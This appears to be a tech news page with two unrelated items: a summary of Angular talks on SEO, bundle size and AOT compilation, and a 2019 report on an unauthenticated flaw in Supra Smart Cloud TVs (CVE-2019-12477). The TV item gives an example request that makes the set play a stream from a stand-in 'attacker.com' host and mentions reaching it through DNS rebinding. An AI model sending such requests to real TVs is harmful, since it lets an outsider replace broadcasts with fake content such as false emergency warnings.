SEO optimisation and speed-up tips for Angular apps

Search Engine Optimization tips for JavaScripts apps and smaller bundlers advices by skilled coders
08 August 2017   2454
JavaScript

JavaScript is a lightweight interpreted or JIT-compiled programming language with first-class functions

Google and other search engine crawlers have became much more sophisticated and complicated. Last few years they started to work with JS apps in more complicated way. For the most part, well-developed JavaScript apps, including Angular apps, are processed without issues In this talk, Jeff Cross from nrwl.io (former Angular team at Google) will share some Angular-specific best practices to implement, and pitfalls to avoid, in order to help crawlers navigate and understand your content.

Second report on this video will be how to decrease your bundlers size. One of the most important ways to decrease the boot time of your Angular apps and made it faster is to decrease your bundle sizes. Learn about some of the top tips for smaller bundles.

Third talk is about extending Angular AOT compilation for data loading. Two great features of Angular are the declarative UI templates and statically analyzable application structure. These enable you to write your code in a concise way while still getting great tooling that checks for errors and compiles your app to be as fast and small as possible. Getting this for your UI code is great, but what if the same concepts could be applied to your data loading logic and your server API? We'll use GraphQL as an example of how statically typed APIs make this possible.

Supra Smart Cloud TV to be Hacked

Now hacker can replace video being watched with own content
04 June 2019   298

A vulnerability has been identified on the Supra Smart Cloud TV (CVE-2019-12477). It makes possible to replace the transmission currently being watched for the content of the attacker. As an example, the output of a bogus emergency warning is shown.

To attack, just send a specially designed network request that does not require authentication. In particular, hacker can contact the handler "/ remote / media_control? Action = setUri & uri =" by specifying the URL of the m3u8 file with the video parameters, for example "http://192.168.1.155/remote/media_control?action=setUri&uri=http://attacker .com / fake_broadcast_message.m3u8 ".

In most cases, access to the IP address of the TV is limited to the internal network, but since the request is sent via HTTP, it is possible to use methods to access internal resources when the user opens a specially designed external page (for example, under the request of a picture or using the DNS rebinding method).